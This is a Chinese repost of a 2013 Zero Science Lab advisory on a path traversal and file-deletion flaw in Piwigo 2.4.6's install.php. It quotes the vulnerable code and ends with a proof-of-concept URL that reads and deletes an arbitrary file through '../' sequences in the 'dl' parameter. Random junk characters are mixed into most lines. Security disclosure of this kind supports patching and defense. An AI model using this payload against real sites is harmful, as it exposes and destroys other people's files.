Piwigo是用PHP编写的相册脚本。: w# ]: ]9 p. G- c
, x( C6 V* I1 p' {, l9 S! QPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
5 w3 |4 V! z, d: d S4 x& u====================================================================
6 R8 A" a8 f5 J% f, t, I1 ?/ x/install.php:
: h6 X" F7 i/ \5 M/ ~* }) u-------------/ E" g* w2 B/ v
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 `" \- j9 ^8 ~3 f" L2 f. X114: {7 C% W' V( F6 j' M& R) H
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ a/ O3 p' G& ^' |# q; N3 v7 v( R116: header('Cache-Control: no-cache, must-revalidate');
% K5 R# a1 ~' b9 Z117: header('Pragma: no-cache');
* f# B ^9 d7 r! |- q- E$ [% Z3 }118: header('Content-Disposition: attachment; filename="database.inc.php"');
& o, G; ~4 y( H* t5 {3 r) E119: header('Content-Transfer-Encoding: binary');! C3 L0 l7 r! s4 w
120: header('Content-Length: '.filesize($filename));. p* b2 w/ H+ R' R0 B
121: echo file_get_contents($filename);* W; U" ~, P. i* ^% ^# y
122: unlink($filename);. O) ]1 L# J$ D3 V8 A& G
123: exit();
1 I; a2 ~: Y) Z8 x124: }# t- Z/ y V- a' H# U# Z- a
====================================================================
" w$ u+ I; E6 Y/ a& c6 @. _5 J; ^ * }! u8 s" `0 j8 Q
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)6 c1 ]7 v3 l) z& u0 L' O
Apache 2.4.2 (Win32)% d: A2 W' M1 C1 p" B
PHP 5.4.45 A1 U \# @: E& R0 u& K: n
MySQL 5.5.25a& p5 |$ ~! ~. l6 |6 V. @ r
4 q% X; G; Q( r6 @, R/ zVulnerability discovered by Gjoko 'LiquidWorm' Krstic
; U. m* n" E0 C7 _) A: x$ C @zeroscience
o) F1 C( _& O
9 a# a$ K: e; H% @Advisory ID: ZSL-2013-5127
( c6 Y8 G! R/ lAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
& A9 ~5 i. r" `1 pVendor Patch: http://piwigo.org/bugs/view.php?id=28431 u! B% J' ^" }$ B4 F& R. B
6 z) u9 Z+ ~5 U
15.02.2013
" G6 ~8 X" A& l' `8 Z
2 B. I1 |9 m+ K! h1 q--2 F, ]; }& O. o8 [3 h
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
; h7 n- p8 w0 Q, n, n+ t' J. f
: w' B, x5 r L7 H4 s |